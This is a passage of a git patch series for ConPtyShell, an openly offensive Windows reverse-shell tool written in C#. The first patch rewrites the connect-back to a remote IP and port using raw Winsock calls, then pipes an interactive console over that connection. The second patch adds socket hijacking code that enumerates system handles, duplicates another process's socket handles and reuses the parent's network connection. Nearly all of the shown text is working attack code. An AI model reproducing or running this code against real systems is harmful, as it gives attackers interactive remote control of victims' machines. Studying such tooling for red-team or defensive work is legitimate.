From 8d2f18b5944297987fc614026cdc34fc087f7159 Mon Sep 17 00:00:00 2001
From: antonioCoco
Date: Thu, 18 Feb 2021 01:01:01 +0100
Subject: [PATCH 1/5] Changed the usage of the sockets, going from C# sockets
to Ws2_32
---
ConPtyShell.cs | 160 ++++++++++++++++++++++++++++++++++++-------------
1 file changed, 118 insertions(+), 42 deletions(-)
diff --git a/ConPtyShell.cs b/ConPtyShell.cs
index 693e2fb..c50444c 100644
--- a/ConPtyShell.cs
+++ b/ConPtyShell.cs
@@ -6,6 +6,15 @@
using System.Net.Sockets;
using System.Runtime.InteropServices;
+public class ConPtyShellException : Exception
+{
+ private const string error_string = "[-] ConPtyShellException: ";
+
+ public ConPtyShellException(){}
+
+ public ConPtyShellException(string message) : base(error_string + message){}
+}
+
public static class ConPtyShell
{
private const string errorString = "{{{ConPtyShellException}}}\r\n";
@@ -16,7 +25,7 @@ public static class ConPtyShell
private const uint CREATE_NO_WINDOW = 0x08000000;
private const int STARTF_USESTDHANDLES = 0x00000100;
private const int BUFFER_SIZE_PIPE = 1048576;
-
+ private const int WSA_FLAG_OVERLAPPED = 0x1;
private const UInt32 INFINITE = 0xFFFFFFFF;
private const int SW_HIDE = 0;
private const uint GENERIC_READ = 0x80000000;
@@ -29,6 +38,8 @@ public static class ConPtyShell
private const int STD_OUTPUT_HANDLE = -11;
private const int STD_ERROR_HANDLE = -12;
+
+
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFOEX
{
@@ -83,6 +94,29 @@ private struct COORD
public short Y;
}
+ [StructLayout(LayoutKind.Sequential)]
+ private struct WSAData
+ {
+ public short wVersion;
+ public short wHighVersion;
+ public short iMaxSockets;
+ public short iMaxUdpDg;
+ public IntPtr lpVendorInfo;
+ [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]
+ public string szDescription;
+ [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]
+ public string szSystemStatus;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ private struct SOCKADDR_IN
+ {
+ public short sin_family;
+ public short sin_port;
+ public uint sin_addr;
+ public long sin_zero;
+ }
+
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
@@ -157,37 +191,78 @@ private struct COORD
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
- private static Socket ConnectSocket(string remoteIp, int remotePort){
- Socket s = null;
- IPAddress remoteIpInt = IPAddress.Parse(remoteIp);
- IPEndPoint ipEndpoint = new IPEndPoint(remoteIpInt, remotePort);
- Socket shellSocket = new Socket(ipEndpoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
- try{
- shellSocket.Connect(ipEndpoint);
- if(shellSocket.Connected)
- s = shellSocket;
- byte[] banner = Encoding.ASCII.GetBytes("\r\nConPtyShell - @splinter_code\r\n");
- s.Send(banner);
+ [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
+ private static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags);
+
+ [DllImport("ws2_32.dll", SetLastError = true)]
+ private static extern int connect(IntPtr s, ref SOCKADDR_IN addr, int addrsize);
+
+ [DllImport("ws2_32.dll", SetLastError = true)]
+ private static extern ushort htons(ushort hostshort);
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
+ private static extern uint inet_addr(string cp);
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Auto)]
+ private static extern Int32 WSAGetLastError();
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)]
+ private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData);
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
+ private static extern int closesocket(IntPtr s);
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)]
+ private static extern int recv(IntPtr Socket, byte[] buf, int len, uint flags);
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)]
+ private static extern int send(IntPtr Socket, byte[] buf, int len, uint flags);
+
+ private static IntPtr connectRemote(string remoteIp, int remotePort)
+ {
+ int port = 0;
+ int error = 0;
+ string host = remoteIp;
+
+ try {
+ port = Convert.ToInt32(remotePort);
+ } catch {
+ throw new ConPtyShellException("Specified port is invalid: " + remotePort.ToString());
}
- catch{
- s = null;
+
+ WSAData data;
+ if( WSAStartup(2 << 8 | 2, out data) != 0 ) {
+ error = WSAGetLastError();
+ throw new ConPtyShellException(String.Format("WSAStartup failed with error code: {0}", error));
+ }
+
+ IntPtr socket = IntPtr.Zero;
+ socket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, WSA_FLAG_OVERLAPPED);
+
+ SOCKADDR_IN sockinfo = new SOCKADDR_IN();
+ sockinfo.sin_family = (short)2;
+ sockinfo.sin_addr = inet_addr(host);
+ sockinfo.sin_port = (short)htons((ushort)port);
+
+ if( connect(socket, ref sockinfo, Marshal.SizeOf(sockinfo)) != 0 ) {
+ error = WSAGetLastError();
+ throw new ConPtyShellException(String.Format("WSAConnect failed with error code: {0}", error));
}
- return s;
+
+ return socket;
}
- private static void TryParseRowsColsFromSocket(Socket shellSocket, ref uint rows, ref uint cols){
+ private static void TryParseRowsColsFromSocket(IntPtr shellSocket, ref uint rows, ref uint cols){
Thread.Sleep(500);//little tweak for slower connections
- if (shellSocket.Available > 0){
- byte[] received = new byte[100];
- int rowsTemp, colsTemp;
- int bytesReceived = shellSocket.Receive(received);
- string sizeReceived = Encoding.ASCII.GetString(received,0,bytesReceived);
- string rowsString = sizeReceived.Split(' ')[0].Trim();
- string colsString = sizeReceived.Split(' ')[1].Trim();
- if(Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp)){
- rows=(uint)rowsTemp;
- cols=(uint)colsTemp;
- }
+ byte[] received = new byte[100];
+ int rowsTemp, colsTemp;
+ int bytesReceived = recv(shellSocket, received, 100, 0);
+ string sizeReceived = Encoding.ASCII.GetString(received,0,bytesReceived);
+ string rowsString = sizeReceived.Split(' ')[0].Trim();
+ string colsString = sizeReceived.Split(' ')[1].Trim();
+ if(Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp)){
+ rows=(uint)rowsTemp;
+ cols=(uint)colsTemp;
}
}
@@ -294,19 +369,21 @@ private static void ThreadReadPipeWriteSocket(object threadParams)
{
object[] threadParameters = (object[]) threadParams;
IntPtr OutputPipeRead = (IntPtr)threadParameters[0];
- Socket shellSocket = (Socket)threadParameters[1];
- uint bufferSize=16*1024;
- byte[] bytesToWrite = new byte[bufferSize];
+ IntPtr shellSocket = (IntPtr)threadParameters[1];
+ int bufferSize=256;
+
bool readSuccess = false;
Int32 bytesSent = 0;
uint dwBytesRead=0;
do{
- readSuccess = ReadFile(OutputPipeRead, bytesToWrite, bufferSize, out dwBytesRead, IntPtr.Zero);
- bytesSent = shellSocket.Send(bytesToWrite, (Int32)dwBytesRead, 0);
+ byte[] bytesToWrite = new byte[bufferSize];
+ readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero);
+ bytesSent = send(shellSocket, bytesToWrite, (int)dwBytesRead, 0);
+
} while (bytesSent > 0 && readSuccess);
}
- private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, Socket shellSocket){
+ private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, IntPtr shellSocket){
object[] threadParameters = new object[2];
threadParameters[0]=OutputPipeRead;
threadParameters[1]=shellSocket;
@@ -319,21 +396,21 @@ private static void ThreadReadSocketWritePipe(object threadParams)
{
object[] threadParameters = (object[]) threadParams;
IntPtr InputPipeWrite = (IntPtr)threadParameters[0];
- Socket shellSocket = (Socket)threadParameters[1];
+ IntPtr shellSocket = (IntPtr)threadParameters[1];
IntPtr hChildProcess = (IntPtr)threadParameters[2];
- uint bufferSize=16*1024;
- byte[] bytesReceived = new byte[bufferSize];
+ int bufferSize=256;
bool writeSuccess = false;
Int32 nBytesReceived = 0;
uint bytesWritten = 0;
do{
- nBytesReceived = shellSocket.Receive(bytesReceived, (Int32)bufferSize, 0);
+ byte[] bytesReceived = new byte[bufferSize];
+ nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0);
writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero);
} while (nBytesReceived > 0 && writeSuccess);
TerminateProcess(hChildProcess, 0);
}
- private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, Socket shellSocket, IntPtr hChildProcess){
+ private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, IntPtr shellSocket, IntPtr hChildProcess){
object[] threadParameters = new object[3];
threadParameters[0]=InputPipeWrite;
threadParameters[1]=shellSocket;
@@ -345,8 +422,8 @@ private static void ThreadReadSocketWritePipe(object threadParams)
public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine){
string output = "";
- Socket shellSocket = ConnectSocket(remoteIp, remotePort);
- if(shellSocket == null){
+ IntPtr shellSocket = connectRemote(remoteIp, remotePort);
+ if(shellSocket == IntPtr.Zero){
output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString());
return output;
}
@@ -400,8 +477,7 @@ private static void ThreadReadSocketWritePipe(object threadParams)
//cleanup everything
thThreadReadPipeWriteSocket.Abort();
thReadSocketWritePipe.Abort();
- shellSocket.Shutdown(SocketShutdown.Both);
- shellSocket.Close();
+ closesocket(shellSocket);
RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr);
if(newConsoleAllocated)
FreeConsole();
From 941444cd41d216361b1aebb179bac0627765f935 Mon Sep 17 00:00:00 2001
From: antonioCoco
Date: Tue, 2 Mar 2021 03:11:19 +0100
Subject: [PATCH 2/5] socket hijacking added
---
ConPtyShell.cs | 596 ++++++++++++++++++++++++++++----
Invoke-ConPtyShell.ps1 | 743 +++++++++++++++++++++++++++++++++++-----
Invoke-ConPtyShell2.ps1 | 39 ++-
3 files changed, 1216 insertions(+), 162 deletions(-)
diff --git a/ConPtyShell.cs b/ConPtyShell.cs
index c50444c..16dab1d 100644
--- a/ConPtyShell.cs
+++ b/ConPtyShell.cs
@@ -5,6 +5,7 @@
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
+using System.Diagnostics;
public class ConPtyShellException : Exception
{
@@ -15,6 +16,416 @@ public class ConPtyShellException : Exception
public ConPtyShellException(string message) : base(error_string + message){}
}
+public class DeadlockCheckHelper{
+
+ private bool deadlockDetected;
+ private IntPtr targetHandle;
+
+ private delegate uint LPTHREAD_START_ROUTINE(uint lpParam);
+
+ [DllImport("kernel32.dll")]
+ private static extern bool CloseHandle(IntPtr hObject);
+
+ [DllImport("kernel32.dll", SetLastError=true)]
+ private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
+
+ [DllImport("Kernel32.dll", SetLastError=true)]
+ private static extern IntPtr CreateThread(uint lpThreadAttributes, uint dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
+
+ private uint ThreadCheckDeadlock(uint threadParams)
+ {
+ SocketHijacking.NtQueryObjectDynamic(this.targetHandle, SocketHijacking.OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0);
+ this.deadlockDetected = false;
+ return 0;
+ }
+
+ public bool CheckDeadlockDetected(IntPtr tHandle){
+ this.deadlockDetected = true;
+ this.targetHandle = tHandle;
+ LPTHREAD_START_ROUTINE delegateThreadCheckDeadlock = new LPTHREAD_START_ROUTINE(this.ThreadCheckDeadlock);
+ IntPtr hThread = IntPtr.Zero;
+ uint threadId = 0;
+ //we need native threads, C# threads hang and go in lock. We need to avoids hangs on named pipe so... No hangs no deadlocks... no pain no gains...
+ hThread = CreateThread(0, 0, delegateThreadCheckDeadlock, IntPtr.Zero, 0, out threadId);
+ WaitForSingleObject(hThread, 1000);
+ //we do not kill the "pending" threads here with TerminateThread() because it will crash the whole process if we do it on locked threads.
+ //just some waste of threads :(
+ CloseHandle(hThread);
+ return this.deadlockDetected;
+ }
+}
+
+public static class SocketHijacking{
+
+ private const uint NTSTATUS_SUCCESS = 0x00000000;
+ private const uint NTSTATUS_INFOLENGTHMISMATCH = 0xc0000004;
+ private const uint NTSTATUS_BUFFEROVERFLOW = 0x80000005;
+ private const uint NTSTATUS_BUFFERTOOSMALL = 0xc0000023;
+ private const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
+ private const int WSA_FLAG_OVERLAPPED = 0x1;
+ private const int DUPLICATE_SAME_ACCESS = 0x2;
+ private const int SystemHandleInformation = 16;
+
+ [StructLayout(LayoutKind.Sequential, Pack = 1)]
+ private struct SYSTEM_HANDLE
+ {
+ public ushort ProcessId;
+ public ushort CreatorBackTrackIndex;
+ public byte ObjectTypeNumber;
+ public byte HandleAttribute;
+ public ushort Handle;
+ public IntPtr Object;
+ public IntPtr GrantedAccess;
+ }
+
+ public enum OBJECT_INFORMATION_CLASS : int
+ {
+ ObjectBasicInformation = 0,
+ ObjectNameInformation = 1,
+ ObjectTypeInformation = 2,
+ ObjectAllTypesInformation = 3,
+ ObjectHandleInformation = 4
+ }
+
+ [StructLayout(LayoutKind.Sequential, Pack = 1)]
+ private struct OBJECT_NAME_INFORMATION
+ {
+ public UNICODE_STRING Name;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ private struct UNICODE_STRING
+ {
+ public ushort Length;
+ public ushort MaximumLength;
+ public IntPtr Buffer;
+ }
+
+ [Flags]
+ private enum ProcessAccessFlags : uint
+ {
+ All = 0x001F0FFF,
+ Terminate = 0x00000001,
+ CreateThread = 0x00000002,
+ VirtualMemoryOperation = 0x00000008,
+ VirtualMemoryRead = 0x00000010,
+ VirtualMemoryWrite = 0x00000020,
+ DuplicateHandle = 0x00000040,
+ CreateProcess = 0x000000080,
+ SetQuota = 0x00000100,
+ SetInformation = 0x00000200,
+ QueryInformation = 0x00000400,
+ QueryLimitedInformation = 0x00001000,
+ Synchronize = 0x00100000
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ private struct WSAData
+ {
+ public short wVersion;
+ public short wHighVersion;
+ public short iMaxSockets;
+ public short iMaxUdpDg;
+ public IntPtr lpVendorInfo;
+ [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]
+ public string szDescription;
+ [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]
+ public string szSystemStatus;
+ }
+
+ [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Auto)]
+ private struct WSAPROTOCOLCHAIN {
+ public int ChainLen;
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst=7)]
+ public uint[] ChainEntries;
+ }
+
+ [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Auto)]
+ private struct WSAPROTOCOL_INFO {
+ public uint dwServiceFlags1;
+ public uint dwServiceFlags2;
+ public uint dwServiceFlags3;
+ public uint dwServiceFlags4;
+ public uint dwProviderFlags;
+ public Guid ProviderId;
+ public uint dwCatalogEntryId;
+ public WSAPROTOCOLCHAIN ProtocolChain;
+ public int iVersion;
+ public int iAddressFamily;
+ public int iMaxSockAddr;
+ public int iMinSockAddr;
+ public int iSocketType;
+ public int iProtocol;
+ public int iProtocolMaxOffset;
+ public int iNetworkByteOrder;
+ public int iSecurityScheme;
+ public uint dwMessageSize;
+ public uint dwProviderReserved;
+ [MarshalAs(UnmanagedType.ByValTStr, SizeConst=256)]
+ public string szProtocol;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ private struct SOCKADDR_IN
+ {
+ public short sin_family;
+ public short sin_port;
+ public uint sin_addr;
+ public long sin_zero;
+ }
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)]
+ private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData);
+
+ [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)]
+ private static extern int WSADuplicateSocket(IntPtr socketHandle, int processId, ref WSAPROTOCOL_INFO pinnedBuffer);
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+ private static extern IntPtr WSASocket([In] int addressFamily, [In] int socketType, [In] int protocolType, ref WSAPROTOCOL_INFO lpProtocolInfo, Int32 group1, int dwFlags);
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Auto)]
+ private static extern Int32 WSAGetLastError();
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+ private static extern int getpeername(IntPtr s, ref SOCKADDR_IN name, ref int namelen);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ private static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ [return: MarshalAs(UnmanagedType.Bool)]
+ private static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
+
+ [DllImport("kernel32.dll")]
+ private static extern bool CloseHandle(IntPtr hObject);
+
+ [DllImport("kernel32.dll")]
+ private static extern IntPtr GetCurrentProcess();
+
+ [DllImport("ntdll.dll")]
+ private static extern uint NtQueryObject(IntPtr objectHandle, OBJECT_INFORMATION_CLASS informationClass, IntPtr informationPtr, uint informationLength, ref int returnLength);
+
+ [DllImport("ntdll.dll")]
+ private static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength);
+
+
+ //helper method with "dynamic" buffer allocation
+ private static IntPtr NtQuerySystemInformationDynamic(int infoClass, int infoLength)
+ {
+ if (infoLength == 0)
+ infoLength = 0x10000;
+ IntPtr infoPtr = Marshal.AllocHGlobal(infoLength);
+ while (true)
+ {
+ uint result = (uint)NtQuerySystemInformation(infoClass, infoPtr, infoLength, ref infoLength);
+ if (result == NTSTATUS_SUCCESS)
+ return infoPtr;
+ Marshal.FreeHGlobal(infoPtr); //free pointer when not Successful
+ if (result != NTSTATUS_INFOLENGTHMISMATCH && result != NTSTATUS_BUFFEROVERFLOW && result != NTSTATUS_BUFFERTOOSMALL)
+ {
+ //throw new Exception("Unhandled NtStatus " + result);
+ return IntPtr.Zero;
+ }
+ infoPtr = Marshal.AllocHGlobal(infoLength);
+ }
+ }
+
+ //helper method with "dynamic" buffer allocation
+ public static IntPtr NtQueryObjectDynamic(IntPtr handle, OBJECT_INFORMATION_CLASS infoClass, int infoLength)
+ {
+ if (infoLength == 0)
+ infoLength = Marshal.SizeOf(typeof(int));
+ IntPtr infoPtr = Marshal.AllocHGlobal(infoLength);
+ uint result;
+ while (true)
+ {
+ result = (uint)NtQueryObject(handle, infoClass, infoPtr, (uint)infoLength, ref infoLength);
+
+ if (result == NTSTATUS_INFOLENGTHMISMATCH || result == NTSTATUS_BUFFEROVERFLOW || result == NTSTATUS_BUFFERTOOSMALL)
+ {
+ Marshal.FreeHGlobal(infoPtr);
+ infoPtr = Marshal.AllocHGlobal((int)infoLength);
+ continue;
+ }
+ else if (result == NTSTATUS_SUCCESS)
+ break;
+ else
+ {
+ //throw new Exception("Unhandled NtStatus " + result);
+ break;
+ }
+ }
+
+ if (result == NTSTATUS_SUCCESS)
+ return infoPtr;//don't forget to free the pointer with Marshal.FreeHGlobal after you're done with it
+ else
+ Marshal.FreeHGlobal(infoPtr);//free pointer when not Successful
+
+ return IntPtr.Zero;
+ }
+
+
+
+ public static IntPtr GetSocketTargetProcess(Process targetProcess)
+ {
+ OBJECT_NAME_INFORMATION objNameInfo;
+ long HandlesCount = 0;
+ IntPtr dupHandle;
+ IntPtr ptrObjectName;
+ IntPtr ptrHandlesInfo;
+ IntPtr hTargetProcess;
+ string strObjectName;
+ IntPtr socketHandle = IntPtr.Zero;
+ DeadlockCheckHelper deadlockCheckHelperObj = new DeadlockCheckHelper();
+
+ hTargetProcess = OpenProcess(ProcessAccessFlags.DuplicateHandle, false, targetProcess.Id);
+ if(hTargetProcess == IntPtr.Zero){
+ Console.WriteLine("Cannot open target process with pid " + targetProcess.Id.ToString() + " for DuplicateHandle access");
+ return socketHandle;
+ }
+ ptrHandlesInfo = NtQuerySystemInformationDynamic(SystemHandleInformation, 0);
+ HandlesCount = Marshal.ReadIntPtr(ptrHandlesInfo).ToInt64();
+ // move pointer to the beginning of the address of SYSTEM_HANDLE[]
+ ptrHandlesInfo = new IntPtr(ptrHandlesInfo.ToInt64()+IntPtr.Size);
+ for(int i=0; i < HandlesCount; i++){
+ SYSTEM_HANDLE sysHandle = (SYSTEM_HANDLE)Marshal.PtrToStructure(ptrHandlesInfo, typeof(SYSTEM_HANDLE));
+ //move pointer to next SYSTEM_HANDLE
+ ptrHandlesInfo = (IntPtr)(ptrHandlesInfo.ToInt64() + Marshal.SizeOf(new SYSTEM_HANDLE()));
+ if(sysHandle.ProcessId != targetProcess.Id || sysHandle.ObjectTypeNumber != 0x25)
+ continue;
+
+ if(DuplicateHandle(hTargetProcess, (IntPtr)sysHandle.Handle, GetCurrentProcess(), out dupHandle, 0, false, DUPLICATE_SAME_ACCESS)){
+ if(deadlockCheckHelperObj.CheckDeadlockDetected(dupHandle)){ // this will avoids deadlocks on special named pipe handles
+ //Console.WriteLine("Deadlock detected");
+ CloseHandle(dupHandle);
+ continue;
+ }
+ ptrObjectName = NtQueryObjectDynamic(dupHandle, OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0);
+ if (ptrObjectName == IntPtr.Zero){
+ CloseHandle(dupHandle);
+ continue;
+ }
+ objNameInfo = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ptrObjectName, typeof(OBJECT_NAME_INFORMATION));
+ if (objNameInfo.Name.Buffer != IntPtr.Zero && objNameInfo.Name.Length > 0 )
+ {
+ strObjectName = Marshal.PtrToStringUni(objNameInfo.Name.Buffer);
+ //Console.WriteLine("strObjectName " + strObjectName);
+ if(strObjectName == "\\Device\\Afd"){
+ socketHandle = dupHandle;
+ break;
+ }
+ else{
+ if(ptrObjectName != IntPtr.Zero) Marshal.FreeHGlobal(ptrObjectName);
+ CloseHandle(dupHandle);
+ }
+ }
+ CloseHandle(dupHandle);
+ }
+ }
+ return socketHandle;
+ }
+
+ public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess){
+ IntPtr parentSocketHandle = IntPtr.Zero;
+ SOCKADDR_IN sockaddrTargetProcess = new SOCKADDR_IN();
+ SOCKADDR_IN sockaddrParentProcess = new SOCKADDR_IN();
+ int sockaddrTargetProcessLen = Marshal.SizeOf(sockaddrTargetProcess);
+ int sockaddrParentProcessLen = Marshal.SizeOf(sockaddrParentProcess);
+ parentSocketHandle = GetSocketTargetProcess(parentProcess);
+
+ if(parentSocketHandle == IntPtr.Zero)
+ return false;
+ if(getpeername(socketHandle, ref sockaddrTargetProcess, ref sockaddrTargetProcessLen) != 0){
+ Console.WriteLine("getpeername sockaddrTargetProcess failed with wsalasterror " + WSAGetLastError().ToString());
+ CloseHandle(parentSocketHandle);
+ return false;
+ }
+ if(getpeername(socketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) != 0){
+ Console.WriteLine("getpeername sockaddrParentProcess failed with wsalasterror " + WSAGetLastError().ToString());
+ CloseHandle(parentSocketHandle);
+ return false;
+ }
+ if(sockaddrTargetProcess.sin_addr == sockaddrParentProcess.sin_addr && sockaddrTargetProcess.sin_port == sockaddrParentProcess.sin_port){
+ CloseHandle(parentSocketHandle);
+ return true;
+ }
+ CloseHandle(parentSocketHandle);
+ return false;
+ }
+
+ public static IntPtr DuplicateTargetProcessSocket(Process targetProcess)
+ {
+ IntPtr targetSocketHandle = IntPtr.Zero;
+ IntPtr dupSocketHandle = IntPtr.Zero;
+ targetSocketHandle = GetSocketTargetProcess(targetProcess);
+ if(targetSocketHandle == IntPtr.Zero )
+ throw new ConPtyShellException("No \\Device\\Afd objects found. Socket duplication failed.");
+ else{
+ WSAPROTOCOL_INFO wsaProtocolInfo = new WSAPROTOCOL_INFO();
+ WSAData data;
+ if( WSAStartup(2 << 8 | 2, out data) != 0 )
+ throw new ConPtyShellException(String.Format("WSAStartup failed with error code: {0}", WSAGetLastError()));
+ int status = WSADuplicateSocket(targetSocketHandle, Process.GetCurrentProcess().Id, ref wsaProtocolInfo);
+ if (status != 0) {
+ Console.WriteLine("WSADuplicateSocket failed with error " + status.ToString() + " and wsalasterror " + WSAGetLastError().ToString() );
+ return dupSocketHandle;
+ }
+ dupSocketHandle = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, ref wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED);
+ if (dupSocketHandle == IntPtr.Zero || dupSocketHandle == new IntPtr(-1)) {
+ Console.WriteLine("WSASocket failed with error " + WSAGetLastError().ToString());
+ return dupSocketHandle;
+ }
+ }
+ return dupSocketHandle;
+ }
+}
+
+// source from --> https://stackoverflow.com/a/3346055
+[StructLayout(LayoutKind.Sequential)]
+public struct ParentProcessUtilities
+{
+ // These members must match PROCESS_BASIC_INFORMATION
+ internal IntPtr Reserved1;
+ internal IntPtr PebBaseAddress;
+ internal IntPtr Reserved2_0;
+ internal IntPtr Reserved2_1;
+ internal IntPtr UniqueProcessId;
+ internal IntPtr InheritedFromUniqueProcessId;
+
+ [DllImport("ntdll.dll")]
+ private static extern int NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, ref ParentProcessUtilities processInformation, int processInformationLength, out int returnLength);
+
+ public static Process GetParentProcess()
+ {
+ return GetParentProcess(Process.GetCurrentProcess().Handle);
+ }
+
+ public static Process GetParentProcess(int id)
+ {
+ Process process = Process.GetProcessById(id);
+ return GetParentProcess(process.Handle);
+ }
+
+ public static Process GetParentProcess(IntPtr handle)
+ {
+ ParentProcessUtilities pbi = new ParentProcessUtilities();
+ int returnLength;
+ int status = NtQueryInformationProcess(handle, 0, ref pbi, Marshal.SizeOf(pbi), out returnLength);
+ if (status != 0)
+ throw new ConPtyShellException(status.ToString());
+
+ try
+ {
+ return Process.GetProcessById(pbi.InheritedFromUniqueProcessId.ToInt32());
+ }
+ catch (ArgumentException)
+ {
+ // not found
+ return null;
+ }
+ }
+}
+
public static class ConPtyShell
{
private const string errorString = "{{{ConPtyShellException}}}\r\n";
@@ -218,6 +629,12 @@ private struct SOCKADDR_IN
[DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)]
private static extern int send(IntPtr Socket, byte[] buf, int len, uint flags);
+ [DllImport("ntdll.dll")]
+ private static extern uint NtSuspendProcess(IntPtr processHandle);
+
+ [DllImport("ntdll.dll")]
+ private static extern uint NtResumeProcess(IntPtr processHandle);
+
private static IntPtr connectRemote(string remoteIp, int remotePort)
{
int port = 0;
@@ -254,15 +671,20 @@ private static IntPtr connectRemote(string remoteIp, int remotePort)
private static void TryParseRowsColsFromSocket(IntPtr shellSocket, ref uint rows, ref uint cols){
Thread.Sleep(500);//little tweak for slower connections
- byte[] received = new byte[100];
- int rowsTemp, colsTemp;
- int bytesReceived = recv(shellSocket, received, 100, 0);
- string sizeReceived = Encoding.ASCII.GetString(received,0,bytesReceived);
- string rowsString = sizeReceived.Split(' ')[0].Trim();
- string colsString = sizeReceived.Split(' ')[1].Trim();
- if(Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp)){
- rows=(uint)rowsTemp;
- cols=(uint)colsTemp;
+ try{
+ byte[] received = new byte[100];
+ int rowsTemp, colsTemp;
+ int bytesReceived = recv(shellSocket, received, 100, 0);
+ string sizeReceived = Encoding.ASCII.GetString(received,0,bytesReceived);
+ string rowsString = sizeReceived.Split(' ')[0].Trim();
+ string colsString = sizeReceived.Split(' ')[1].Trim();
+ if(Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp)){
+ rows=(uint)rowsTemp;
+ cols=(uint)colsTemp;
+ }
+ }
+ catch{
+ return;
}
}
@@ -272,9 +694,9 @@ private static IntPtr connectRemote(string remoteIp, int remotePort)
pSec.bInheritHandle=1;
pSec.lpSecurityDescriptor=IntPtr.Zero;
if(!CreatePipe(out InputPipeRead, out InputPipeWrite, ref pSec, BUFFER_SIZE_PIPE))
- throw new InvalidOperationException("Could not create the InputPipe");
+ throw new ConPtyShellException("Could not create the InputPipe");
if(!CreatePipe(out OutputPipeRead, out OutputPipeWrite, ref pSec, BUFFER_SIZE_PIPE))
- throw new InvalidOperationException("Could not create the OutputPipe");
+ throw new ConPtyShellException("Could not create the OutputPipe");
}
private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr){
@@ -300,12 +722,12 @@ private static void EnableVirtualTerminalSequenceProcessing()
IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
if (!GetConsoleMode(hStdOut, out outConsoleMode))
{
- throw new InvalidOperationException("Could not get console mode");
+ throw new ConPtyShellException("Could not get console mode");
}
